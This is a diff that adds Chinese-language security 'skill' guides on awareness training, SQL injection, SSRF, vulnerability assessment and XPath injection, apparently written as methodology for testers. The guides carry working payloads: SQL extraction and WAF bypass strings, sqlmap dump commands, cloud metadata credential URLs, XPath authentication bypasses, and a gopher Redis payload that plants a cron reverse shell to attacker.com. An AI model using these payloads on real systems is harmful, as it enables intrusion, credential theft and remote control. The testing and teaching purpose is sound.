# 检查加密
|
||||
try:
|
||||
encryption = s3.get_bucket_encryption(Bucket=bucket['Name'])
|
||||
except:
|
||||
issues.append({
|
||||
'bucket': bucket['Name'],
|
||||
'issue': 'Encryption not enabled'
|
||||
})
|
||||
|
||||
return issues
|
||||
|
||||
if __name__ == '__main__':
|
||||
issues = check_s3_buckets()
|
||||
print(json.dumps(issues, indent=2))
|
||||
```
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 自动化策略
|
||||
|
||||
- 识别可自动化场景
|
||||
- 制定自动化计划
|
||||
- 逐步实施
|
||||
- 持续改进
|
||||
|
||||
### 2. 工具选择
|
||||
|
||||
- 评估工具功能
|
||||
- 考虑集成性
|
||||
- 考虑成本
|
||||
- 测试验证
|
||||
|
||||
### 3. 流程设计
|
||||
|
||||
- 明确流程步骤
|
||||
- 定义触发条件
|
||||
- 设置异常处理
|
||||
- 记录操作日志
|
||||
|
||||
### 4. 监控和维护
|
||||
|
||||
- 监控自动化任务
|
||||
- 定期检查结果
|
||||
- 更新规则和脚本
|
||||
- 优化性能
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 确保自动化准确性
|
||||
- 设置适当的权限
|
||||
- 保护自动化凭证
|
||||
- 定期审查自动化规则
|
||||
@@ -0,0 +1,285 @@
|
||||
---
|
||||
name: security-awareness-training
|
||||
description: 安全意识培训的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全意识培训
|
||||
|
||||
## 概述
|
||||
|
||||
安全意识培训是提高组织整体安全水平的重要措施。本技能提供安全意识培训的方法、内容和最佳实践。
|
||||
|
||||
## 培训目标
|
||||
|
||||
### 1. 知识提升
|
||||
|
||||
**目标:**
|
||||
- 了解安全威胁
|
||||
- 识别安全风险
|
||||
- 掌握防护措施
|
||||
- 理解安全政策
|
||||
|
||||
### 2. 行为改变
|
||||
|
||||
**目标:**
|
||||
- 养成安全习惯
|
||||
- 遵守安全规范
|
||||
- 主动报告事件
|
||||
- 参与安全活动
|
||||
|
||||
### 3. 文化建立
|
||||
|
||||
**目标:**
|
||||
- 建立安全文化
|
||||
- 提高安全意识
|
||||
- 促进安全协作
|
||||
- 持续改进
|
||||
|
||||
## 培训内容
|
||||
|
||||
### 1. 基础安全
|
||||
|
||||
**内容:**
|
||||
- 密码安全
|
||||
- 账户安全
|
||||
- 设备安全
|
||||
- 网络安全
|
||||
|
||||
**密码安全:**
|
||||
- 使用强密码
|
||||
- 密码不重用
|
||||
- 启用多因素认证
|
||||
- 定期更换密码
|
||||
|
||||
**账户安全:**
|
||||
- 保护账户信息
|
||||
- 不共享账户
|
||||
- 及时注销账户
|
||||
- 监控账户活动
|
||||
|
||||
### 2. 邮件安全
|
||||
|
||||
**内容:**
|
||||
- 识别钓鱼邮件
|
||||
- 处理可疑邮件
|
||||
- 附件安全
|
||||
- 链接安全
|
||||
|
||||
**钓鱼邮件识别:**
|
||||
- 检查发件人
|
||||
- 检查链接
|
||||
- 检查附件
|
||||
- 检查内容
|
||||
|
||||
**处理可疑邮件:**
|
||||
- 不点击链接
|
||||
- 不打开附件
|
||||
- 报告安全团队
|
||||
- 删除邮件
|
||||
|
||||
### 3. 社交工程
|
||||
|
||||
**内容:**
|
||||
- 识别社交工程
|
||||
- 防范社交工程
|
||||
- 报告可疑行为
|
||||
|
||||
**常见手段:**
|
||||
- 假冒身份
|
||||
- 紧急情况
|
||||
- 权威要求
|
||||
- 利益诱惑
|
||||
|
||||
**防范措施:**
|
||||
- 验证身份
|
||||
- 不轻信
|
||||
- 报告可疑
|
||||
- 遵守流程
|
||||
|
||||
### 4. 数据安全
|
||||
|
||||
**内容:**
|
||||
- 数据分类
|
||||
- 数据保护
|
||||
- 数据共享
|
||||
- 数据销毁
|
||||
|
||||
**数据保护:**
|
||||
- 加密敏感数据
|
||||
- 安全存储
|
||||
- 安全传输
|
||||
- 访问控制
|
||||
|
||||
**数据共享:**
|
||||
- 最小化共享
|
||||
- 使用安全渠道
|
||||
- 验证接收方
|
||||
- 记录共享
|
||||
|
||||
### 5. 物理安全
|
||||
|
||||
**内容:**
|
||||
- 设备安全
|
||||
- 办公环境
|
||||
- 访客管理
|
||||
- 应急响应
|
||||
|
||||
**设备安全:**
|
||||
- 锁定屏幕
|
||||
- 保护设备
|
||||
- 安全存储
|
||||
- 及时报告丢失
|
||||
|
||||
## 培训方法
|
||||
|
||||
### 1. 在线培训
|
||||
|
||||
**优势:**
|
||||
- 灵活方便
|
||||
- 可重复学习
|
||||
- 成本较低
|
||||
- 易于跟踪
|
||||
|
||||
**实施:**
|
||||
- 使用LMS平台
|
||||
- 制作培训内容
|
||||
- 设置学习路径
|
||||
- 跟踪学习进度
|
||||
|
||||
### 2. 面对面培训
|
||||
|
||||
**优势:**
|
||||
- 互动性强
|
||||
- 即时反馈
|
||||
- 深度讨论
|
||||
- 建立关系
|
||||
|
||||
**实施:**
|
||||
- 定期培训
|
||||
- 分组讨论
|
||||
- 案例分析
|
||||
- 实践演练
|
||||
|
||||
### 3. 模拟演练
|
||||
|
||||
**优势:**
|
||||
- 真实场景
|
||||
- 实践操作
|
||||
- 检验效果
|
||||
- 提高能力
|
||||
|
||||
**实施:**
|
||||
- 钓鱼邮件演练
|
||||
- 社交工程演练
|
||||
- 应急响应演练
|
||||
- 安全事件演练
|
||||
|
||||
## 培训计划
|
||||
|
||||
### 新员工培训
|
||||
|
||||
**内容:**
|
||||
- 安全政策
|
||||
- 基础安全知识
|
||||
- 工具使用
|
||||
- 报告流程
|
||||
|
||||
**时间:**
|
||||
- 入职时
|
||||
- 第一周
|
||||
- 持续跟进
|
||||
|
||||
### 定期培训
|
||||
|
||||
**内容:**
|
||||
- 最新威胁
|
||||
- 安全更新
|
||||
- 案例分析
|
||||
- 最佳实践
|
||||
|
||||
**频率:**
|
||||
- 季度培训
|
||||
- 年度培训
|
||||
- 专项培训
|
||||
|
||||
### 专项培训
|
||||
|
||||
**内容:**
|
||||
- 特定角色培训
|
||||
- 深度培训
|
||||
- 认证培训
|
||||
|
||||
**对象:**
|
||||
- 管理员
|
||||
- 开发人员
|
||||
- 安全人员
|
||||
- 管理层
|
||||
|
||||
## 评估方法
|
||||
|
||||
### 1. 知识测试
|
||||
|
||||
**方法:**
|
||||
- 在线测试
|
||||
- 问卷调查
|
||||
- 技能评估
|
||||
|
||||
**指标:**
|
||||
- 测试分数
|
||||
- 通过率
|
||||
- 改进情况
|
||||
|
||||
### 2. 行为观察
|
||||
|
||||
**方法:**
|
||||
- 模拟演练
|
||||
- 实际观察
|
||||
- 事件分析
|
||||
|
||||
**指标:**
|
||||
- 演练结果
|
||||
- 事件数量
|
||||
- 报告数量
|
||||
|
||||
### 3. 反馈收集
|
||||
|
||||
**方法:**
|
||||
- 培训反馈
|
||||
- 满意度调查
|
||||
- 建议收集
|
||||
|
||||
**指标:**
|
||||
- 满意度
|
||||
- 改进建议
|
||||
- 培训效果
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 内容设计
|
||||
|
||||
- 针对性强
|
||||
- 实用易懂
|
||||
- 案例丰富
|
||||
- 持续更新
|
||||
|
||||
### 2. 实施策略
|
||||
|
||||
- 定期培训
|
||||
- 多种形式
|
||||
- 互动参与
|
||||
- 跟踪效果
|
||||
|
||||
### 3. 文化建设
|
||||
|
||||
- 领导支持
|
||||
- 全员参与
|
||||
- 持续改进
|
||||
- 奖励机制
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 内容要实用
|
||||
- 形式要多样
|
||||
- 跟踪要持续
|
||||
- 改进要及时
|
||||
@@ -0,0 +1,101 @@
|
||||
---
|
||||
name: sql-injection-testing
|
||||
description: SQL注入测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# SQL注入测试技能
|
||||
|
||||
## 概述
|
||||
|
||||
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 参数识别
|
||||
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
|
||||
- 重点关注:id、search、filter、sort等参数
|
||||
- 使用Burp Suite或类似工具拦截和修改请求
|
||||
|
||||
### 2. 基础检测
|
||||
- 单引号测试:`'` - 查看是否出现SQL错误
|
||||
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
|
||||
- 时间盲注:`' AND SLEEP(5)--`
|
||||
- 联合查询:`' UNION SELECT NULL--`
|
||||
|
||||
### 3. 数据库识别
|
||||
- MySQL:`' AND @@version LIKE '%mysql%'--`
|
||||
- PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--`
|
||||
- MSSQL:`' AND @@version LIKE '%Microsoft%'--`
|
||||
- Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
|
||||
|
||||
### 4. 信息提取
|
||||
- 数据库名:`' UNION SELECT database()--`
|
||||
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
|
||||
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
|
||||
- 数据提取:`' UNION SELECT username,password FROM users--`
|
||||
|
||||
## 工具使用
|
||||
|
||||
### sqlmap
|
||||
```bash
|
||||
# 基础扫描
|
||||
sqlmap -u "http://target.com/page?id=1"
|
||||
|
||||
# 指定参数
|
||||
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
|
||||
|
||||
# 指定数据库类型
|
||||
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
|
||||
|
||||
# 获取数据库列表
|
||||
sqlmap -u "http://target.com/page?id=1" --dbs
|
||||
|
||||
# 获取表
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
|
||||
|
||||
# 获取数据
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
|
||||
```
|
||||
|
||||
### 手动测试
|
||||
- 使用Burp Suite的Repeater模块
|
||||
- 使用浏览器开发者工具
|
||||
- 编写Python脚本自动化测试
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### WAF绕过
|
||||
- 编码绕过:URL编码、Unicode编码、十六进制编码
|
||||
- 注释绕过:`/**/`, `--`, `#`
|
||||
- 大小写混合:`SeLeCt`, `UnIoN`
|
||||
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
|
||||
|
||||
### 示例
|
||||
```
|
||||
原始:' UNION SELECT NULL--
|
||||
绕过1:'/**/UNION/**/SELECT/**/NULL--
|
||||
绕过2:'%55nion%20select%20null--
|
||||
绕过3:'/*!UNION*//*!SELECT*/null--
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
1. 确认可以执行SQL语句
|
||||
2. 提取数据库信息验证
|
||||
3. 评估影响范围(数据泄露、权限提升等)
|
||||
4. 记录完整的POC(请求/响应)
|
||||
|
||||
### 报告要点
|
||||
- 漏洞位置和参数
|
||||
- 影响的数据和系统
|
||||
- 完整的利用步骤
|
||||
- 修复建议(参数化查询、输入验证等)
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对生产数据造成破坏
|
||||
- 谨慎使用DROP、DELETE等危险操作
|
||||
- 记录所有测试步骤以便复现
|
||||
@@ -0,0 +1,266 @@
|
||||
---
|
||||
name: ssrf-testing
|
||||
description: SSRF服务器端请求伪造测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# SSRF服务器端请求伪造测试
|
||||
|
||||
## 概述
|
||||
|
||||
SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:
|
||||
- 内网资源访问
|
||||
- 本地文件读取
|
||||
- 端口扫描
|
||||
- 绕过防火墙
|
||||
- 云服务元数据访问
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别SSRF输入点
|
||||
|
||||
**常见功能:**
|
||||
- URL预览/截图
|
||||
- 文件上传(远程URL)
|
||||
- Webhook回调
|
||||
- API代理
|
||||
- 数据导入
|
||||
- 图片处理
|
||||
- PDF生成
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试本地回环:**
|
||||
```
|
||||
http://127.0.0.1
|
||||
http://localhost
|
||||
http://0.0.0.0
|
||||
http://[::1]
|
||||
```
|
||||
|
||||
**测试内网IP:**
|
||||
```
|
||||
http://192.168.1.1
|
||||
http://10.0.0.1
|
||||
http://172.16.0.1
|
||||
```
|
||||
|
||||
**测试文件协议:**
|
||||
```
|
||||
file:///etc/passwd
|
||||
file:///C:/Windows/System32/drivers/etc/hosts
|
||||
```
|
||||
|
||||
### 3. 绕过技术
|
||||
|
||||
**IP地址编码:**
|
||||
```
|
||||
127.0.0.1 → 2130706433 (十进制)
|
||||
127.0.0.1 → 0x7f000001 (十六进制)
|
||||
127.0.0.1 → 0177.0.0.1 (八进制)
|
||||
```
|
||||
|
||||
**域名解析绕过:**
|
||||
```
|
||||
127.0.0.1.xip.io
|
||||
127.0.0.1.nip.io
|
||||
localtest.me
|
||||
```
|
||||
|
||||
**URL重定向:**
|
||||
```
|
||||
http://attacker.com/redirect → http://127.0.0.1
|
||||
```
|
||||
|
||||
**协议混淆:**
|
||||
```
|
||||
http://127.0.0.1:80@evil.com
|
||||
http://evil.com#@127.0.0.1
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 内网探测
|
||||
|
||||
**端口扫描:**
|
||||
```bash
|
||||
# 使用Burp Intruder
|
||||
http://127.0.0.1:22
|
||||
http://127.0.0.1:3306
|
||||
http://127.0.0.1:6379
|
||||
http://127.0.0.1:8080
|
||||
http://127.0.0.1:9200
|
||||
```
|
||||
|
||||
**识别服务:**
|
||||
- 响应时间差异
|
||||
- 错误信息
|
||||
- HTTP状态码
|
||||
- 响应内容
|
||||
|
||||
### 云服务元数据
|
||||
|
||||
**AWS EC2:**
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
```
|
||||
|
||||
**Google Cloud:**
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
|
||||
```
|
||||
|
||||
**Azure:**
|
||||
```
|
||||
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
|
||||
```
|
||||
|
||||
**阿里云:**
|
||||
```
|
||||
http://100.100.100.200/latest/meta-data/
|
||||
http://100.100.100.200/latest/meta-data/ram/security-credentials/
|
||||
```
|
||||
|
||||
### 内网应用攻击
|
||||
|
||||
**访问管理后台:**
|
||||
```
|
||||
http://127.0.0.1:8080/admin
|
||||
http://192.168.1.100/phpmyadmin
|
||||
```
|
||||
|
||||
**Redis未授权访问:**
|
||||
```
|
||||
http://127.0.0.1:6379
|
||||
# 然后发送Redis命令
|
||||
```
|
||||
|
||||
**FastCGI攻击:**
|
||||
```
|
||||
http://127.0.0.1:9000
|
||||
# 利用FastCGI协议执行命令
|
||||
```
|
||||
|
||||
## 高级利用
|
||||
|
||||
### Gopher协议
|
||||
|
||||
**发送任意协议数据:**
|
||||
```
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
|
||||
```
|
||||
|
||||
**Redis命令执行:**
|
||||
```
|
||||
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
|
||||
### Dict协议
|
||||
|
||||
**端口扫描和信息收集:**
|
||||
```
|
||||
dict://127.0.0.1:6379/info
|
||||
dict://127.0.0.1:3306/status
|
||||
```
|
||||
|
||||
### 文件协议
|
||||
|
||||
**读取本地文件:**
|
||||
```
|
||||
file:///etc/passwd
|
||||
file:///C:/Windows/System32/drivers/etc/hosts
|
||||
file:///proc/self/environ
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### SSRFmap
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
python3 ssrfmap.py -r request.txt -p url
|
||||
|
||||
# 端口扫描
|
||||
python3 ssrfmap.py -r request.txt -p url -m portscan
|
||||
|
||||
# 云元数据
|
||||
python3 ssrfmap.py -r request.txt -p url -m cloud
|
||||
```
|
||||
|
||||
### Gopherus
|
||||
|
||||
```bash
|
||||
# 生成Gopher payload
|
||||
python gopherus.py --exploit redis
|
||||
```
|
||||
|
||||
### Burp Collaborator
|
||||
|
||||
**检测盲SSRF:**
|
||||
```
|
||||
http://burpcollaborator.net
|
||||
# 观察是否有DNS/HTTP请求
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制请求目标
|
||||
2. 验证内网资源访问或端口扫描
|
||||
3. 评估影响范围(内网渗透、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- 可访问的内网资源或端口
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(URL白名单、禁用危险协议等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **URL白名单**
|
||||
```python
|
||||
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
|
||||
parsed = urlparse(url)
|
||||
if parsed.netloc not in ALLOWED_DOMAINS:
|
||||
raise ValueError("Domain not allowed")
|
||||
```
|
||||
|
||||
2. **禁用危险协议**
|
||||
- 只允许http/https
|
||||
- 禁止file://、gopher://、dict://等
|
||||
|
||||
3. **IP地址过滤**
|
||||
```python
|
||||
import ipaddress
|
||||
|
||||
def is_internal_ip(ip):
|
||||
return ipaddress.ip_address(ip).is_private or \
|
||||
ipaddress.ip_address(ip).is_loopback
|
||||
```
|
||||
|
||||
4. **使用DNS解析验证**
|
||||
- 解析域名获取IP
|
||||
- 验证IP是否在内网范围
|
||||
|
||||
5. **网络隔离**
|
||||
- 限制服务器出网权限
|
||||
- 使用代理服务器
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对内网系统造成影响
|
||||
- 注意不同协议的支持情况
|
||||
- 测试时注意请求频率,避免触发防护
|
||||
@@ -0,0 +1,305 @@
|
||||
---
|
||||
name: vulnerability-assessment
|
||||
description: 漏洞评估的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 漏洞评估
|
||||
|
||||
## 概述
|
||||
|
||||
漏洞评估是识别和评估系统漏洞的重要环节。本技能提供漏洞评估的方法、工具和最佳实践。
|
||||
|
||||
## 评估流程
|
||||
|
||||
### 1. 范围确定
|
||||
|
||||
**确定范围:**
|
||||
- 目标系统
|
||||
- 网络范围
|
||||
- 应用范围
|
||||
- 测试深度
|
||||
|
||||
### 2. 信息收集
|
||||
|
||||
**收集信息:**
|
||||
- 系统信息
|
||||
- 网络拓扑
|
||||
- 服务信息
|
||||
- 应用信息
|
||||
|
||||
### 3. 漏洞扫描
|
||||
|
||||
**扫描类型:**
|
||||
- 网络扫描
|
||||
- 主机扫描
|
||||
- 应用扫描
|
||||
- 配置扫描
|
||||
|
||||
### 4. 漏洞验证
|
||||
|
||||
**验证方法:**
|
||||
- 手动验证
|
||||
- 工具验证
|
||||
- 概念验证
|
||||
- 影响评估
|
||||
|
||||
### 5. 风险评估
|
||||
|
||||
**评估因素:**
|
||||
- 漏洞严重性
|
||||
- 利用难度
|
||||
- 影响范围
|
||||
- 业务影响
|
||||
|
||||
## 扫描工具
|
||||
|
||||
### 网络扫描
|
||||
|
||||
**使用Nessus:**
|
||||
```bash
|
||||
# 启动Nessus
|
||||
# 创建扫描任务
|
||||
# 配置扫描策略
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
**使用OpenVAS:**
|
||||
```bash
|
||||
# 启动OpenVAS
|
||||
gvm-setup
|
||||
|
||||
# 创建扫描任务
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
**使用Nmap:**
|
||||
```bash
|
||||
# 漏洞扫描
|
||||
nmap --script vuln target
|
||||
|
||||
# 特定漏洞
|
||||
nmap --script smb-vuln-ms17-010 target
|
||||
```
|
||||
|
||||
### 应用扫描
|
||||
|
||||
**使用Burp Suite:**
|
||||
```bash
|
||||
# 配置代理
|
||||
# 浏览应用
|
||||
# 被动扫描
|
||||
# 主动扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
**使用OWASP ZAP:**
|
||||
```bash
|
||||
# 启动ZAP
|
||||
zap.sh
|
||||
|
||||
# 快速扫描
|
||||
zap-cli quick-scan http://target.com
|
||||
|
||||
# 完整扫描
|
||||
zap-cli full-scan http://target.com
|
||||
```
|
||||
|
||||
**使用Acunetix:**
|
||||
```bash
|
||||
# 启动Acunetix
|
||||
# 创建扫描任务
|
||||
# 配置扫描选项
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
### 代码扫描
|
||||
|
||||
**使用SonarQube:**
|
||||
```bash
|
||||
# 运行扫描
|
||||
sonar-scanner
|
||||
|
||||
# 分析结果
|
||||
# 查看报告
|
||||
```
|
||||
|
||||
**使用Checkmarx:**
|
||||
```bash
|
||||
# 使用Web界面
|
||||
# 上传代码
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
## 漏洞分类
|
||||
|
||||
### 按严重性
|
||||
|
||||
**严重(Critical):**
|
||||
- 远程代码执行
|
||||
- SQL注入
|
||||
- 认证绕过
|
||||
- 敏感数据泄露
|
||||
|
||||
**高危(High):**
|
||||
- 权限提升
|
||||
- 信息泄露
|
||||
- 业务逻辑漏洞
|
||||
- 配置错误
|
||||
|
||||
**中危(Medium):**
|
||||
- XSS漏洞
|
||||
- CSRF漏洞
|
||||
- 弱密码
|
||||
- 不安全的配置
|
||||
|
||||
**低危(Low):**
|
||||
- 信息泄露
|
||||
- 配置建议
|
||||
- 最佳实践
|
||||
- 信息收集
|
||||
|
||||
### 按类型
|
||||
|
||||
**注入漏洞:**
|
||||
- SQL注入
|
||||
- 命令注入
|
||||
- LDAP注入
|
||||
- XPath注入
|
||||
|
||||
**认证漏洞:**
|
||||
- 弱密码
|
||||
- 会话固定
|
||||
- 认证绕过
|
||||
- 密码重置
|
||||
|
||||
**授权漏洞:**
|
||||
- 权限提升
|
||||
- IDOR
|
||||
- 水平权限
|
||||
- 垂直权限
|
||||
|
||||
**配置错误:**
|
||||
- 默认配置
|
||||
- 错误配置
|
||||
- 不安全的存储
|
||||
- 敏感信息泄露
|
||||
|
||||
## 风险评估
|
||||
|
||||
### CVSS评分
|
||||
|
||||
**基础指标:**
|
||||
- 攻击向量(AV)
|
||||
- 攻击复杂度(AC)
|
||||
- 所需权限(PR)
|
||||
- 用户交互(UI)
|
||||
|
||||
**影响指标:**
|
||||
- 机密性影响(C)
|
||||
- 完整性影响(I)
|
||||
- 可用性影响(A)
|
||||
|
||||
**计算CVSS:**
|
||||
```bash
|
||||
# 使用CVSS计算器
|
||||
# 输入指标
|
||||
# 计算分数
|
||||
# 确定等级
|
||||
```
|
||||
|
||||
### 业务影响
|
||||
|
||||
**评估因素:**
|
||||
- 数据敏感性
|
||||
- 系统重要性
|
||||
- 业务影响
|
||||
- 合规要求
|
||||
|
||||
**风险矩阵:**
|
||||
```
|
||||
低影响 中影响 高影响
|
||||
高可能性 中 高 严重
|
||||
中可能性 低 中 高
|
||||
低可能性 低 低 中
|
||||
```
|
||||
|
||||
## 报告编写
|
||||
|
||||
### 报告结构
|
||||
|
||||
**执行摘要:**
|
||||
- 评估概述
|
||||
- 关键发现
|
||||
- 风险评级
|
||||
- 建议措施
|
||||
|
||||
**详细发现:**
|
||||
- 漏洞描述
|
||||
- 影响分析
|
||||
- 利用步骤
|
||||
- 修复建议
|
||||
|
||||
**附录:**
|
||||
- 扫描配置
|
||||
- 工具版本
|
||||
- 参考链接
|
||||
- 术语表
|
||||
|
||||
### 报告模板
|
||||
|
||||
```markdown
|
||||
# 漏洞评估报告
|
||||
|
||||
## 执行摘要
|
||||
- 评估时间:2024-01-01
|
||||
- 评估范围:xxx
|
||||
- 发现漏洞:xx个
|
||||
- 严重漏洞:x个
|
||||
|
||||
## 漏洞列表
|
||||
|
||||
### VULN-001: SQL注入
|
||||
- 严重性:严重
|
||||
- CVSS评分:9.8
|
||||
- 描述:...
|
||||
- 影响:...
|
||||
- 修复建议:...
|
||||
|
||||
## 总结
|
||||
...
|
||||
```
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 扫描前
|
||||
|
||||
- 获得授权
|
||||
- 确定范围
|
||||
- 准备工具
|
||||
- 通知相关人员
|
||||
|
||||
### 2. 扫描中
|
||||
|
||||
- 系统化扫描
|
||||
- 记录操作
|
||||
- 验证漏洞
|
||||
- 评估影响
|
||||
|
||||
### 3. 扫描后
|
||||
|
||||
- 分析结果
|
||||
- 编写报告
|
||||
- 提供建议
|
||||
- 跟踪修复
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 获得明确授权
|
||||
- 避免对系统造成影响
|
||||
- 保护扫描数据
|
||||
- 及时报告关键漏洞
|
||||
@@ -0,0 +1,306 @@
|
||||
---
|
||||
name: xpath-injection-testing
|
||||
description: XPath注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# XPath注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
XPath注入是一种类似于SQL注入的漏洞,利用XPath查询语句的构造缺陷,可能导致信息泄露、认证绕过等。本技能提供XPath注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将用户输入直接拼接到XPath查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
|
||||
|
||||
**危险代码示例:**
|
||||
```java
|
||||
String xpath = "//user[username='" + username + "' and password='" + password + "']";
|
||||
XPathExpression expr = xpath.compile(xpath);
|
||||
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
|
||||
```
|
||||
|
||||
## XPath基础
|
||||
|
||||
### 查询语法
|
||||
|
||||
**基础查询:**
|
||||
```
|
||||
//user[username='admin']
|
||||
//user[@id='1']
|
||||
//user[username='admin' and password='pass']
|
||||
//user[username='admin' or username='user']
|
||||
```
|
||||
|
||||
### 函数
|
||||
|
||||
**常用函数:**
|
||||
- `text()` - 获取文本内容
|
||||
- `count()` - 计数
|
||||
- `substring()` - 子字符串
|
||||
- `string-length()` - 字符串长度
|
||||
- `contains()` - 包含检查
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别XPath输入点
|
||||
|
||||
**常见功能:**
|
||||
- 用户登录
|
||||
- 数据搜索
|
||||
- XML数据查询
|
||||
- 配置查询
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试特殊字符:**
|
||||
```
|
||||
' or '1'='1
|
||||
' or '1'='1' or '
|
||||
' or 1=1 or '
|
||||
') or ('1'='1
|
||||
```
|
||||
|
||||
**测试逻辑操作符:**
|
||||
```
|
||||
' or '1'='1
|
||||
' and '1'='2
|
||||
' or 1=1 or '
|
||||
```
|
||||
|
||||
### 3. 认证绕过
|
||||
|
||||
**基础绕过:**
|
||||
```
|
||||
用户名: admin' or '1'='1
|
||||
密码: anything
|
||||
查询: //user[username='admin' or '1'='1' and password='anything']
|
||||
```
|
||||
|
||||
**更精确的绕过:**
|
||||
```
|
||||
用户名: admin') or ('1'='1
|
||||
查询: //user[username='admin') or ('1'='1' and password='*']
|
||||
```
|
||||
|
||||
### 4. 信息泄露
|
||||
|
||||
**枚举用户:**
|
||||
```
|
||||
' or 1=1 or '
|
||||
' or '1'='1
|
||||
') or 1=1 or ('
|
||||
```
|
||||
|
||||
**获取节点数量:**
|
||||
```
|
||||
' or count(//user)>0 or '
|
||||
```
|
||||
|
||||
**获取特定节点:**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 认证绕过
|
||||
|
||||
**方法1:逻辑绕过**
|
||||
```
|
||||
输入: admin' or '1'='1
|
||||
查询: //user[username='admin' or '1'='1' and password='*']
|
||||
结果: 匹配所有用户
|
||||
```
|
||||
|
||||
**方法2:注释绕过**
|
||||
```
|
||||
输入: admin')] | //* | //*[('
|
||||
查询: //user[username='admin')] | //* | //*[('' and password='*']
|
||||
```
|
||||
|
||||
**方法3:布尔盲注**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
' or substring(//user[1]/username,1,1)='b' or '
|
||||
```
|
||||
|
||||
### 信息泄露
|
||||
|
||||
**枚举所有用户:**
|
||||
```
|
||||
' or 1=1 or '
|
||||
结果: 返回所有用户节点
|
||||
```
|
||||
|
||||
**获取用户名:**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
' or substring(//user[1]/username,2,1)='d' or '
|
||||
逐步获取每个字符
|
||||
```
|
||||
|
||||
**获取密码:**
|
||||
```
|
||||
